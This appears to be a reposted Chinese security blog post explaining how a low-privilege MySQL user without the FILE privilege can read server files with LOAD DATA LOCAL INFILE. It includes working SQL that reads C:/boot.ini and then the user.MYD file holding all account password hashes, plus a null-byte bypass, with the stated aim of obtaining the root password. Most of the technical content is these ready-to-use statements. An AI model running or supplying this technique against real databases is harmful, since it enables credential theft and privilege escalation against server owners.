Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

博主推荐【腾讯云】爆款2核2G云服务器首年40元

        cnrstar (Be My Personal Best!) | 2014-05-20 21:58

        众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';

        后来我就一直想怎么利用这个问题。一个可行的思路如下:

        我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。

        于是本地测试,注意,我当前连接的用户test是没有File权限的:

a4dac3305e1f17b5_1

LOAD DATA LOCAL INFILE ‘C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD’ INTO TABLE test2 fields terminated by ”;

然后

select * from test2;

 ee705ab805d784_2

        发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件

ed10561b567440_3

        OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。

        经过几次尝试发现,在后面加上LINES TERMINATED BY ‘\0’ 即可,这样子就把截断符号作为分隔符处理了,完整的语句:

LOAD DATA LOCAL INFILE ‘C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD’ INTO TABLE test2 fields terminated by ” LINES TERMINATED BY ‘\0’;

效果:

dd476c6dcc006e_4

原文地址

原创文章转载请注明:转载自 七行者博客

本文固定链接: https://www.qxzxp.com/4786.html

Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码):等您坐沙发呢!

发表评论

9 + 8 =

快捷键:Ctrl+Enter